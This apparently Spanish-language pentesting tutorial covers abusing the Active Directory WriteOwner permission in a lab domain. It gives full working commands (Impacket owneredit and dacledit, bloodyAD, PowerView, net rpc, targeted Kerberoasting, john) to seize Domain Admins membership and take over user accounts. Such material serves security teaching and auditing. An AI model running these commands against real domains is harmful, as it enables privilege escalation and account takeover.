WriteOwner

WriteOwner

Introducción

¡Qué tal, hacker!

Bienvenido a un nuevo post. En esta ocasión vamos a meternos con el permiso DACL WriteOwner, veremos cómo montar un laboratorio controlado y cómo abusar de este privilegio cuando lo tenemos aplicado tanto sobre un grupo como sobre un usuario.

¿Qué es DACL WriteOwner?

Antes de ir a la práctica, vale la pena entender qué permite exactamente este permiso.

WriteOwner autoriza a un usuario a cambiar el propietario de un objeto a cualquier otra entidad. Dicho así suena inofensivo, pero en un escenario ofensivo es bastante potente: si un atacante puede modificar el propietario, puede tomar posesión del objeto y, a partir de ahí, hacer prácticamente lo que quiera.

Una vez que toma el control, puede reconfigurar permisos y concederse acceso total a sí mismo o a terceros. Ejemplo rápido: el atacante cambia el propietario del objeto, modifica la DACL y se asigna Full Control, lo que le permite leer, escribir o eliminar el objeto sin restricciones.

Este permiso se vuelve especialmente interesante dependiendo del tipo de objeto:

En grupos, WriteOwner permite manipular la propiedad del grupo y, desde ahí, otorgarse la capacidad de agregar o quitar miembros.

En usuarios, el atacante puede terminar con control total sobre la cuenta del usuario objetivo.

En objetos de equipo (computers), se obtiene acceso prácticamente ilimitado para manipular el objeto y su funcionamiento dentro del dominio.

En objetos de dominio, el impacto es mayor: el atacante podría realizar un DCSync, simulando ser un controlador de dominio para obtener hashes o credenciales sensibles.

Configuración del Laboratorio

En este caso, contamos con el usuario Frank Castle al cual le asignaremos el permiso WriteOwner sobre el grupo Domain Admins y veremos distintas maneras de como podemos abusar de este.

Accedemos a la sección Active Directory Users and Computers y en la pestaña de View habilitamos las caracteristicas avanzadas.

Mostrar las caracteristicas avanzadas

Luego hacemos clic derecho sobre el grupo Domain Admins y accedemos a sus propiedades.

Acceso a las propiedades de Domain Admins

A continuación, accedemos a la pestaña Security y hacemos clic en Add.

Agregamos al usuario frank

Escribimos el nombre del usuario que queremos agregar, en este caso Frank Castle y damos clic en Ok.

Agregamos al usuario frank

Agregamos al usuario frank

Luego damos clic en Advanced

Propiedades avanzadas

Hacemos doble clic en el usuario Frank Castle y marcamos la casilla Modify Owner.

Asiganmos el privilegio Modify Owner

Por ultimo, damos clic en Apply y Ok.

En este punto, el usuario Frank Castle tiene el permiso WriteOwner sobre el grupo Domain Admins.

Bloodhound

Antes de realizar la explotación, vamos a enumerar utilizando la herramienta Bloohound.

bloodhound-python -d zonahacking.local -u frank -p 'Password123!' -ns 192.168.56.100 --zip -c All

Enumeración usuando la herramienta bloodhound-python

Enumeración usuando la herramienta BloodHound

De esta forma, podemos observar que el usuario Frank tiene privilegios WriteOwner sobre el grupo Domain Admins.

Concesión de propiedad y control total - Linux

Utilizando la herramienta impacket-owneredit, podemos modificar el usuario dueño del grupo Domain Admins.

impacket-owneredit -action write -new-owner 'frank' -target-dn 'CN=DOMAIN ADMINS,CN=USERS,DC=ZONAHACKING,DC=LOCAL' 'zonahacking.local'/'frank':'Password123!' -dc-ip 192.168.56.100
  • -action Toma los valores de read o write, en este caso, lo que queremos es que el usuario tenga privilegios de write sobre el grupo.
  • -new-owner Debemos indicar el sAMAccountName del usuario.
  • -target-dn Debemos indicar el Distinguished Name
  • -dc-ip Dirección IP del Domain Controller

impacket-owneredit

El siguiente paso a realizar, es otorgar al usuario frank el control total sobre el grupo Domain Admins, para lo cual, utilizamos el script dacledit de la suite de Impacket.

impacket-dacledit -action write -rights 'WriteMembers' -principal 'frank' -target-dn 'CN=DOMAIN ADMINS,CN=USERS,DC=ZONAHACKING,DC=LOCAL' 'zonahacking.local'/'frank':'Password123!' -dc-ip 192.168.56.100
  • -action Toma uno de los siguientes valores read,write,remove,backup o restore en este caso indicamos el valor de write.
  • -rights Este parámetro indica el privilegio (FullControl,ResetPassword,WriteMembers,DCSync,Custom), en esta ocasión nos interesa WriteMembers, es decir, que pueda agregar miembros al grupo.
  • -dc-ip Dirección IP del Domain Controller

Con la ayuda de dacledit, el DACL de este objeto se modificó con éxito y el usuario frank ahora tiene control total sobre el grupo .

impacket-dacledit

Agregar miembros al grupo

RPC

Podemos agregar usuarios al grupo Domain Admins usando el comando net rpc de Linux.

net rpc group addmem "Domain Admins" frank -U zonahacking.local/frank%'Password123!' -S 192.168.56.100
BloodyAD

Alternativamente, se puede lograr usando la herramienta bloodyAD

bloodyAD --host 192.168.56.100 -d zonahacking.local -u frank -p 'Password123!' add groupMember "Domain Admins" frank

Uso de bloodyAD para agregar al usuario frank al grupo Domain Admins

PowerView

Desde un sistema Windows, esto se puede lograr con Set-DomainObjectOwner para otorgar propiedad seguido del CmdLet Add-DomainObjectAcl para otorgar permiso total sobre el objeto.

Nos conectamos al hosts a través de winrm ya que el usuario Frank pertence al grupo Remote Management Users.

Conexión a través de winrm al DC01.

powershell -ep bypass
import-module .\PowerView.ps1
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'frank'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity 'Domain Admins' -PrincipalIdentity 'frank'

Uso de PowerShell - PowerView para agregar al usuario frank al como dueño del grupo Domain Admins y asignar control total sobre este.

Comando Net

También podemos utilizar comando net nativo de Windows, para agregar un usuario a un grupo.

net group "Domain Admins" frank /add /domain

Uso del comando net para agregar al usuario frank al grupo Domain Admins.

Por lo tanto, desde la propiedad del usuario podemos ver que el usuario Frank se ha convertido en miembro de Domain Admins.

Uso del comando net para agregar al usuario frank al grupo Domain Admins.

Abusar del privilegio WriteOwner sobre un usuario

Para realizar la práctica de este caso, crearemos dos nuevos usuarios, maria y bob.

net user maria Password123! /add /domain
net user bob Password123!! /add /domain

Vamos a abusar del privilegio WriteOwner pero sobre un objeto del tipo usuario. Para lo cual, en primera instancia vamos a asignar el privilegio al usuario maria sobre el usuario bob.

Accedemos a las propiedades del usuario bob.

Acceso a las propiedades del usuario bob.

Damos clic en el botón Add.

Acceso a las propiedades del usuario bob.

Buscamos al usuario maria y luego damos clic en Ok.

Acceso a las propiedades del usuario bob.

A continuación, damos clic en el botón Advanced.

Acceso a las propiedades del usuario bob.

Seleccionamos el usuario de maria y damos clic en Edit.

Acceso a las propiedades del usuario bob.

Marcamos la casilla del permiso Modify owner y damos clic en Ok.

Asignamos el privilegio Modify Owner al usuario maria sobre el usuario bob

De esta manera, tenemos configurado el laboratorio.

Volvemos a realizar una vez más la enumeración utilizando la herramienta Bloodhound

bloodhound-python -d zonahacking.local -u maria -p 'Password123!' -ns 192.168.56.100 --zip -c All

Enumeración utilizando la herramienta bloodhound-python

Enumeración utilizando la herramienta Bloodhound

Linux: concesión de propiedad y control total

Al igual que antes con el abuso aplicado al grupo, utilizamos el script owneredit de la suite de Impacket para editar el dueño del objeto, en este caso bob.

impacket-owneredit -action write -new-owner 'maria' -target-dn 'CN=BOB,CN=USERS,DC=ZONAHACKING,DC=LOCAL' 'zonahacking.local'/'maria':'Password123!' -dc-ip 192.168.56.100

Asignamos el privilegio Modify Owner al usuario maria sobre el usuario bob

Vemos que la DACL del usuario bob se modificó correctamente. Como resultado, el usuario maria ahora es el propietario de la cuenta de bob.

Otorgamiento de control total:

A continuación, utilizamos el script dacledit para asignar control total a Maria sobre el objeto de usuario Bob .

impacket-dacledit -action write -rights 'FullControl' -principal 'maria' -target-dn 'CN=BOB,CN=USERS,DC=ZONAHACKING,DC=LOCAL' 'zonahacking.local'/'maria':'Password123!' -dc-ip 192.168.56.100

Uso de impacket-dacledit para asignar control total a Maria sobre Bob

Con la ayuda de dacledit , el DACL de este objeto se modifica con éxito y Maria ahora tiene control total sobre el usuario Bob.

Ahora, dado que el usuario tiene control total sobre el objetivo, podemos realizar un ataque de kerberoasting o podemos cambiar la contraseña sin conocer la contraseña actual del objetivo.

Kerberoast dirigido

Desde sistemas tipo UNIX, esto se puede hacer con el script targetedKerberoast.py .

python3 targetedKerberoast.py --dc-ip 192.168.56.100 -v -d zonahacking.local -u 'maria' -p 'Password123!'

Ataque de Kerberoasting utilizando la herramienta targetedKerberoast.py

Vemos que logramos obtener el hash, el cual podemos crackear offline utilizando herramientas como john o hashcat.

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Crackeamos el hash usando john

Cambio de contraseña desde Linux - Net RPC

Como mencionamos anteriormente, otra alternativa al kerberoasting es cambiar la contraseña del usuario (tener en cuenta que en un pentest real no es lo más recomendado), para lo cual podemos utilizar la herramienta net de linux.

net rpc password bob 'Password@321' -U zonahacking.local/maria%'Password123!' -S 192.168.56.100

Cambio de contraseña desde Linux - Net RPC

Cambio de contraseña desde Linux - BloodyAD

Otra alternativa a la herramienta anterior es BloodyAD, la cual, nos permite además de otras acciones cambiar la contraseña de un usuario.

bloodyAD --host 192.168.56.100 -d zonahacking.local -u maria -p 'Password123!' set password bob 'SuperSecret@123'

Cambio de contraseña desde Linux - BloodyAD

Windows PowerShell Powerview: Otorgamiento de propiedad y control total

En sistemas Windows, podemos usar el módulo PowerView para otorgar propiedad y control total sobre un objeto objetivo. Este proceso implica dos cmdlets principales: Set-DomainObjectOwner y Add-DomainObjectAcl .

powershell -ep bypass
Import-Module .PowerView.ps1
Set-DomainObjectOwner -Identity 'bob' -OwnerIdentity 'maria'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity 'bob' -PrincipalIdentity 'maria'

Ahora, dado que el usuario tiene control total sobre el objetivo, podemos realizar al igual que antes ataques de kerberoasting o cambiar la contraseña sin conocer la contraseña actual del objetivo abusando de ForceChangePassword.

Windows PowerShell Powerview: Kerberosting

Podemos asignar un SPN a una cuenta de usuario para luego efectuar un ataque de kerberoasting, para lo cual podemos utilizar el cmdlet de PowerView Set-DomainObject.

Set-DomainObject -Identity 'bob' -Set @{serviceprincipalname='fake/spn'}
Get-DomainUser 'bob' | Select serviceprincipalname

Windows PowerShell Powerview: Kerberosting

Luego, usando impacket-GetUserSPNs o Rubeus podemos obtener y crackear el hash correspondiente.

impacket-GetUserSPNs zonahacking.local/maria:Password123! -dc-ip 192.168.56.100 -request 

Kerberoasting

Cambiar la contraseña de un usuario desde Windows PowerShell PowerView

Por último, podemos cambiar la contraseña del usuario mediante el módulo PowerView. Esto se puede lograr con el cmdlet Set-DomainUserPassword.

Cambiar la contraseña de un usuario desde Windows PowerShell PowerView

Validamos el cambio de contraseña usando Netexec

De esta forma llegamos al final del artículo.

En definitiva, WriteOwner es uno de esos permisos que suelen pasar desapercibidos durante la enumeración, pero que en la práctica ofensiva tienen un peso enorme. La gracia no está solo en “poder cambiar el dueño de algo”, sino en todo lo que habilita después: escalar privilegios, manipular acceso, incorporar cuentas a grupos estratégicos o directamente tomar control de un usuario del dominio.

Lo bueno es que es un permiso relativamente fácil de detectar y de abusar si ya tenemos un foothold dentro del dominio, pero también es un dolor de cabeza desde el lado defensivo: muchas implementaciones lo dejan suelto por error, por herencias mal configuradas o por permisos que se arrastran desde hace años.

Si llegaste hasta acá, ahora ya sabés:

  • Qué es WriteOwner
  • Por qué es ofensivamente útil
  • Qué impacto tiene según el tipo de objeto
  • Cómo se puede materializar en un ataque real

Y lo más interesante: que vale la pena sumar este permiso a tu checklist de Active Directory, tanto cuando estás atacando como cuando estás auditando.

Gracias por leer y ¡Happy Hacking!